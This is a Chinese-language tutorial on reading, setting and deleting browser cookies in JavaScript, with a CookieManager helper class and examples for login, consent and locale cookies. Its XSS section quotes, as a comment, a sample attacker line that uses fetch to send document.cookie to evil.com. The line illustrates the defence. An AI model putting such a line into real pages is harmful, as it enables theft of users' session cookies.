Skip to content

Cookie 操作与管理:浏览器存储的元老级成员

Cookie 诞生于 1994 年,是 Web 开发中最古老的客户端存储机制。它最初被设计用来解决 HTTP 无状态协议的问题——服务器无法记住同一个用户的多次请求。Cookie 就像是你去常去的咖啡店时店员递给你的会员卡,每次去的时候出示一下,店员就知道你是谁、喜欢什么口味。

虽然现在有了 localStoragesessionStorage 和 IndexedDB 等更现代的存储方案,Cookie 依然在某些场景下不可替代——特别是涉及到与服务器交互的身份认证、会话追踪等场景。

Cookie 本质上就是一小段文本信息,由服务器发送给浏览器保存,浏览器会在后续请求中自动带上这些信息。

1. 用户首次访问网站
   客户端 ──────请求──────> 服务器

2. 服务器响应并设置 Cookie
   客户端 <──Set-Cookie: id=abc123── 服务器

3. 浏览器保存 Cookie

4. 后续请求自动携带 Cookie
   客户端 ──Cookie: id=abc123──> 服务器

5. 服务器识别用户

JavaScript 通过 document.cookie 属性来操作 Cookie:

javascript
// 读取所有 Cookie
console.log(document.cookie);
// 输出类似: "username=Sarah; theme=dark; language=en"

// 设置一个 Cookie
document.cookie = "visitor=John";

// 注意:这是追加,不是替换
document.cookie = "language=zh-CN";
console.log(document.cookie);
// 输出: "username=Sarah; theme=dark; language=en; visitor=John; language=zh-CN"

document.cookie 的行为有点特殊:读取时返回所有 Cookie;写入时只设置一个 Cookie,不会覆盖其他 Cookie。

由于 document.cookie 返回的是用分号分隔的字符串,读取特定 Cookie 需要解析这个字符串:

javascript
// 获取特定的 Cookie 值
function getCookie(name) {
  const cookies = document.cookie.split(";");

  for (let cookie of cookies) {
    const [cookieName, cookieValue] = cookie.trim().split("=");
    if (cookieName === name) {
      return decodeURIComponent(cookieValue);
    }
  }

  return null;
}

// 使用示例
console.log(getCookie("username")); // 'Sarah'
console.log(getCookie("notExist")); // null

// 更健壮的版本
function getCookieRobust(name) {
  const nameEQ = encodeURIComponent(name) + "=";
  const cookies = document.cookie.split(";");

  for (let cookie of cookies) {
    cookie = cookie.trim();
    if (cookie.indexOf(nameEQ) === 0) {
      return decodeURIComponent(cookie.substring(nameEQ.length));
    }
  }

  return null;
}

// 获取所有 Cookie 为对象
function getAllCookies() {
  const cookies = {};

  if (!document.cookie) {
    return cookies;
  }

  document.cookie.split(";").forEach((cookie) => {
    const [name, value] = cookie.trim().split("=");
    if (name) {
      cookies[decodeURIComponent(name)] = decodeURIComponent(value || "");
    }
  });

  return cookies;
}

console.log(getAllCookies());
// { username: 'Sarah', theme: 'dark', language: 'en' }

设置 Cookie 时,可以指定多个属性来控制 Cookie 的行为:

javascript
// 最简单的设置
document.cookie = "username=Sarah";

// 设置带有效期的 Cookie
function setCookie(name, value, days) {
  let expires = "";

  if (days) {
    const date = new Date();
    date.setTime(date.getTime() + days * 24 * 60 * 60 * 1000);
    expires = "; expires=" + date.toUTCString();
  }

  document.cookie =
    encodeURIComponent(name) +
    "=" +
    encodeURIComponent(value) +
    expires +
    "; path=/";
}

// 使用示例
setCookie("username", "Michael", 30); // 30天后过期
setCookie("sessionId", "abc123", 1); // 1天后过期

// 设置会话 Cookie(不指定 expires,关闭浏览器后消失)
document.cookie = "tempData=xyz";
javascript
// 完整的 Cookie 设置函数
function setCookieAdvanced(name, value, options = {}) {
  const {
    days, // 有效天数
    path = "/", // 路径
    domain, // 域名
    secure, // 仅 HTTPS
    sameSite, // SameSite 属性
    maxAge, // 最大存活秒数
  } = options;

  let cookieString = encodeURIComponent(name) + "=" + encodeURIComponent(value);

  // 设置过期时间
  if (days) {
    const date = new Date();
    date.setTime(date.getTime() + days * 24 * 60 * 60 * 1000);
    cookieString += "; expires=" + date.toUTCString();
  }

  // 或者使用 max-age(秒)
  if (maxAge) {
    cookieString += "; max-age=" + maxAge;
  }

  // 设置路径
  cookieString += "; path=" + path;

  // 设置域名
  if (domain) {
    cookieString += "; domain=" + domain;
  }

  // 设置 Secure 属性
  if (secure) {
    cookieString += "; secure";
  }

  // 设置 SameSite 属性
  if (sameSite) {
    cookieString += "; samesite=" + sameSite;
  }

  document.cookie = cookieString;
}

// 使用示例
setCookieAdvanced("authToken", "secret123", {
  days: 7,
  path: "/",
  secure: true,
  sameSite: "Strict",
});

setCookieAdvanced("preferences", JSON.stringify({ theme: "dark" }), {
  days: 365,
  path: "/",
});

各属性的含义

属性作用示例值
expiresCookie 过期时间(绝对时间)Thu, 01 Jan 2025 00:00:00 GMT
max-ageCookie 存活秒数(相对时间)3600(1 小时)
pathCookie 可访问的路径/, /admin
domainCookie 可访问的域名.example.com
secure仅在 HTTPS 下发送无值,只需存在
sameSite跨站请求控制Strict, Lax, None

path 属性

path 决定了哪些页面可以访问这个 Cookie:

javascript
// 只在 /admin 路径下可用
setCookieAdvanced("adminSession", "xyz", { path: "/admin" });

// 在整个网站可用(默认)
setCookieAdvanced("userPrefs", "abc", { path: "/" });

// 示例:
// 页面 /admin/dashboard 可以访问 path='/' 和 path='/admin' 的 Cookie
// 页面 /products 只能访问 path='/' 的 Cookie

domain 属性

domain 决定了哪些域名可以访问这个 Cookie:

javascript
// 仅当前域名(默认)
setCookieAdvanced("token", "abc", {
  /* 不指定 domain */
});

// 允许子域名访问(注意开头的点)
setCookieAdvanced("sharedSession", "xyz", { domain: ".example.com" });
// app.example.com 和 www.example.com 都可以访问

SameSite 属性

SameSite 是一个重要的安全属性,控制 Cookie 在跨站请求中的行为:

javascript
// Strict:完全禁止第三方 Cookie
// 最安全,但可能影响用户体验(如从其他网站点击链接过来时不会带 Cookie)
setCookieAdvanced("strictCookie", "value", { sameSite: "Strict" });

// Lax:宽松模式(现代浏览器的默认值)
// 允许导航请求(如点击链接)携带 Cookie,但禁止 POST 等请求
setCookieAdvanced("laxCookie", "value", { sameSite: "Lax" });

// None:允许所有跨站请求(必须同时设置 Secure)
// 用于需要跨站使用的 Cookie,如第三方登录
setCookieAdvanced("crossSiteCookie", "value", {
  sameSite: "None",
  secure: true,
});

要删除 Cookie,将其过期时间设置为过去的时间:

javascript
// 删除 Cookie
function deleteCookie(name, path = "/") {
  document.cookie =
    encodeURIComponent(name) +
    "=; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=" +
    path;
}

// 使用示例
deleteCookie("username");
deleteCookie("adminSession", "/admin");

// 更完整的删除函数
function deleteCookieComplete(name, options = {}) {
  const { path = "/", domain } = options;

  let cookieString =
    encodeURIComponent(name) +
    "=; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=" +
    path;

  if (domain) {
    cookieString += "; domain=" + domain;
  }

  document.cookie = cookieString;
}

// 删除所有 Cookie
function deleteAllCookies() {
  const cookies = document.cookie.split(";");

  for (let cookie of cookies) {
    const name = cookie.split("=")[0].trim();
    deleteCookie(name);
  }
}

将所有操作封装成一个实用的工具类:

javascript
class CookieManager {
  // 获取单个 Cookie
  static get(name) {
    const nameEQ = encodeURIComponent(name) + "=";
    const cookies = document.cookie.split(";");

    for (let cookie of cookies) {
      cookie = cookie.trim();
      if (cookie.indexOf(nameEQ) === 0) {
        try {
          const value = decodeURIComponent(cookie.substring(nameEQ.length));
          // 尝试解析 JSON
          return JSON.parse(value);
        } catch {
          return decodeURIComponent(cookie.substring(nameEQ.length));
        }
      }
    }
    return null;
  }

  // 设置 Cookie
  static set(name, value, options = {}) {
    const {
      days = null,
      hours = null,
      minutes = null,
      path = "/",
      domain = null,
      secure = false,
      sameSite = "Lax",
    } = options;

    // 序列化值
    const serializedValue =
      typeof value === "object" ? JSON.stringify(value) : String(value);

    let cookieString =
      encodeURIComponent(name) + "=" + encodeURIComponent(serializedValue);

    // 计算过期时间
    if (days || hours || minutes) {
      const date = new Date();
      let ms = 0;
      if (days) ms += days * 24 * 60 * 60 * 1000;
      if (hours) ms += hours * 60 * 60 * 1000;
      if (minutes) ms += minutes * 60 * 1000;
      date.setTime(date.getTime() + ms);
      cookieString += "; expires=" + date.toUTCString();
    }

    cookieString += "; path=" + path;

    if (domain) {
      cookieString += "; domain=" + domain;
    }

    if (secure) {
      cookieString += "; secure";
    }

    cookieString += "; samesite=" + sameSite;

    document.cookie = cookieString;
  }

  // 删除 Cookie
  static remove(name, options = {}) {
    const { path = "/", domain = null } = options;

    let cookieString =
      encodeURIComponent(name) +
      "=; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=" +
      path;

    if (domain) {
      cookieString += "; domain=" + domain;
    }

    document.cookie = cookieString;
  }

  // 检查 Cookie 是否存在
  static has(name) {
    return this.get(name) !== null;
  }

  // 获取所有 Cookie
  static getAll() {
    const cookies = {};

    if (!document.cookie) {
      return cookies;
    }

    document.cookie.split(";").forEach((cookie) => {
      const [name, value] = cookie.trim().split("=");
      if (name) {
        try {
          cookies[decodeURIComponent(name)] = JSON.parse(
            decodeURIComponent(value || "")
          );
        } catch {
          cookies[decodeURIComponent(name)] = decodeURIComponent(value || "");
        }
      }
    });

    return cookies;
  }

  // 清除所有 Cookie
  static clear() {
    const cookies = document.cookie.split(";");

    for (let cookie of cookies) {
      const name = cookie.split("=")[0].trim();
      this.remove(name);
    }
  }
}

// 使用示例
CookieManager.set("username", "Sarah", { days: 30 });
CookieManager.set("preferences", { theme: "dark", lang: "zh" }, { days: 365 });
CookieManager.set("session", "abc123", {
  hours: 2,
  secure: true,
  sameSite: "Strict",
});

console.log(CookieManager.get("username")); // 'Sarah'
console.log(CookieManager.get("preferences")); // { theme: 'dark', lang: 'zh' }
console.log(CookieManager.has("session")); // true

CookieManager.remove("session");
console.log(CookieManager.getAll());
特性CookielocalStoragesessionStorage
容量~4KB~5-10MB~5-10MB
自动发送到服务器✅ 是❌ 否❌ 否
生命周期可配置永久会话结束
访问方式服务器+客户端仅客户端仅客户端
HttpOnly 支持✅ 是❌ 否❌ 否
跨子域共享✅ 可配置❌ 否❌ 否
javascript
// ✅ 适合使用 Cookie 的场景

// 1. 需要发送到服务器的数据
CookieManager.set("authToken", "jwt_token_here", {
  days: 7,
  secure: true,
  sameSite: "Strict",
});

// 2. 需要 HttpOnly 保护的敏感数据(仅服务器可设置)
// 服务器响应: Set-Cookie: sessionId=abc; HttpOnly; Secure

// 3. 跨子域共享数据
CookieManager.set("sharedUser", "userId", {
  days: 30,
  domain: ".example.com",
});

// 4. 追踪用户(第一方)
CookieManager.set("visitorId", generateUUID(), { days: 365 });
javascript
// ❌ 不适合使用 Cookie 的场景

// 1. 大量数据存储 —— 使用 localStorage 或 IndexedDB
// Cookie 限制约 4KB,且每次请求都会发送

// 2. 纯客户端数据 —— 使用 Web Storage
// 不需要发送到服务器的数据,用 localStorage/sessionStorage 更高效

// 3. 频繁读写的数据 —— Cookie 解析较慢
// 性能敏感场景使用 Web Storage

实际应用场景

用户登录状态

javascript
class AuthCookie {
  static TOKEN_NAME = "auth_token";
  static USER_NAME = "user_info";

  static login(token, user, rememberMe = false) {
    const options = {
      secure: true,
      sameSite: "Strict",
      path: "/",
    };

    if (rememberMe) {
      options.days = 30;
    }
    // 不设置 days 则为会话 Cookie

    CookieManager.set(this.TOKEN_NAME, token, options);
    CookieManager.set(this.USER_NAME, user, options);
  }

  static logout() {
    CookieManager.remove(this.TOKEN_NAME);
    CookieManager.remove(this.USER_NAME);
  }

  static isLoggedIn() {
    return CookieManager.has(this.TOKEN_NAME);
  }

  static getToken() {
    return CookieManager.get(this.TOKEN_NAME);
  }

  static getUser() {
    return CookieManager.get(this.USER_NAME);
  }
}

// 使用示例
// 登录(记住我)
AuthCookie.login("jwt_xxxxx", { id: 1, name: "Sarah" }, true);

// 检查登录状态
if (AuthCookie.isLoggedIn()) {
  const user = AuthCookie.getUser();
  console.log(`欢迎回来, ${user.name}!`);
}

// 登出
AuthCookie.logout();

现代网站通常需要获得用户同意才能设置非必要的 Cookie:

javascript
class CookieConsent {
  static CONSENT_KEY = "cookie_consent";

  static getConsent() {
    return CookieManager.get(this.CONSENT_KEY);
  }

  static setConsent(preferences) {
    CookieManager.set(
      this.CONSENT_KEY,
      {
        ...preferences,
        timestamp: Date.now(),
        version: "1.0",
      },
      { days: 365 }
    );

    this.applyConsent(preferences);
  }

  static applyConsent(preferences) {
    if (preferences.analytics) {
      this.enableAnalytics();
    }

    if (preferences.marketing) {
      this.enableMarketing();
    }

    if (preferences.personalization) {
      this.enablePersonalization();
    }
  }

  static enableAnalytics() {
    console.log("Analytics cookies enabled");
    // 初始化 Google Analytics 等
  }

  static enableMarketing() {
    console.log("Marketing cookies enabled");
    // 初始化广告追踪等
  }

  static enablePersonalization() {
    console.log("Personalization cookies enabled");
    // 启用个性化功能
  }

  static showConsentBanner() {
    const consent = this.getConsent();

    if (!consent) {
      // 显示同意横幅
      return true;
    }

    // 已有同意记录,应用偏好
    this.applyConsent(consent);
    return false;
  }

  static revokeConsent() {
    CookieManager.remove(this.CONSENT_KEY);
    // 清除所有非必要 Cookie
    console.log("Cookie consent revoked");
  }
}

// 使用示例
if (CookieConsent.showConsentBanner()) {
  // 显示 Cookie 同意对话框
  // 用户点击接受后:
  CookieConsent.setConsent({
    essential: true, // 必要 Cookie,总是开启
    analytics: true, // 分析 Cookie
    marketing: false, // 营销 Cookie
    personalization: true, // 个性化 Cookie
  });
}

语言和地区偏好

javascript
class LocalePreference {
  static COOKIE_NAME = "user_locale";

  static set(locale, options = {}) {
    CookieManager.set(this.COOKIE_NAME, locale, {
      days: 365,
      path: "/",
      ...options,
    });
  }

  static get() {
    return CookieManager.get(this.COOKIE_NAME);
  }

  static detect() {
    // 优先使用用户设置的偏好
    const saved = this.get();
    if (saved) return saved;

    // 检查浏览器语言
    const browserLang = navigator.language || navigator.userLanguage;

    // 映射到支持的语言
    const supportedLocales = ["en-US", "zh-CN", "ja-JP", "ko-KR"];
    const locale =
      supportedLocales.find((l) => l.startsWith(browserLang.split("-")[0])) ||
      "en-US";

    return locale;
  }
}

// 使用示例
const locale = LocalePreference.detect();
console.log(`当前语言: ${locale}`);

// 用户切换语言
LocalePreference.set("zh-CN");

安全最佳实践

防止 XSS 攻击

javascript
// ⚠️ Cookie 可能被 XSS 攻击窃取
// 攻击者注入的脚本可以执行:
// fetch('https://evil.com/steal?cookie=' + document.cookie);

// ✅ 敏感 Cookie 应该使用 HttpOnly(只能由服务器设置)
// 服务器响应: Set-Cookie: sessionId=abc; HttpOnly; Secure

// ✅ 对于客户端可访问的 Cookie,注意验证和清理
function sanitizeCookieValue(value) {
  // 移除可能的注入字符
  return String(value).replace(/[<>"'&;]/g, "");
}

防止 CSRF 攻击

javascript
// ✅ 使用 SameSite 属性
CookieManager.set("sessionId", "abc", {
  secure: true,
  sameSite: "Strict", // 或 'Lax'
});

// ✅ 实现 CSRF Token
function setCsrfToken() {
  const token = crypto.randomUUID();
  CookieManager.set("csrf_token", token, {
    secure: true,
    sameSite: "Strict",
  });
  return token;
}

// 在表单中包含 CSRF Token
function addCsrfToForm(form) {
  const token = CookieManager.get("csrf_token");
  const input = document.createElement("input");
  input.type = "hidden";
  input.name = "_csrf";
  input.value = token;
  form.appendChild(input);
}
javascript
function getCookieSize() {
  const cookieString = document.cookie;
  const bytes = new Blob([cookieString]).size;
  return {
    bytes,
    kb: (bytes / 1024).toFixed(2),
    percentage: ((bytes / 4096) * 100).toFixed(1) + "%",
  };
}

function checkCookieUsage() {
  const usage = getCookieSize();

  if (usage.bytes > 3500) {
    // 接近 4KB 限制
    console.warn(`Cookie 使用量过高: ${usage.kb}KB (${usage.percentage})`);
    return false;
  }

  console.log(`Cookie 使用量: ${usage.kb}KB (${usage.percentage})`);
  return true;
}

// 定期检查
setInterval(checkCookieUsage, 60000);

常见问题与解决方案

javascript
// 问题1:路径不匹配
// 在 /admin 页面设置的 Cookie 默认只在 /admin 下可用
document.cookie = "test=123"; // path 默认为当前路径
// 解决:明确指定 path='/'
document.cookie = "test=123; path=/";

// 问题2:域名不匹配
// 在 sub.example.com 设置的 Cookie 默认不能被 example.com 访问
// 解决:设置 domain=.example.com

// 问题3:Secure 属性在 HTTP 下无效
// 解决:在 HTTPS 环境下测试 Secure Cookie

// 问题4:SameSite=None 需要 Secure
document.cookie = "test=123; SameSite=None; Secure"; // 必须同时设置
javascript
// 查看所有 Cookie 详情
function debugCookies() {
  const cookies = CookieManager.getAll();
  console.table(cookies);

  const usage = getCookieSize();
  console.log(`总大小: ${usage.kb}KB`);
}

// 在浏览器控制台中
// Application > Storage > Cookies 可以查看完整信息

总结

Cookie 作为 Web 存储的老牌成员,在身份认证和会话管理方面仍然发挥着重要作用。虽然它有容量小、操作 API 繁琐等缺点,但其能够自动发送到服务器、支持 HttpOnly 安全属性等特性,使其在某些场景下仍然是最佳选择。

关键要点:

  • Cookie 会自动随请求发送到服务器,适合身份认证场景
  • 使用 SecureHttpOnly 属性增强安全性
  • SameSite 属性可有效防止 CSRF 攻击
  • 容量限制约 4KB,大数据存储应使用 Web Storage
  • 封装工具类简化操作,提高代码可维护性

合理使用 Cookie,配合现代 Web Storage API,可以构建安全高效的客户端存储方案。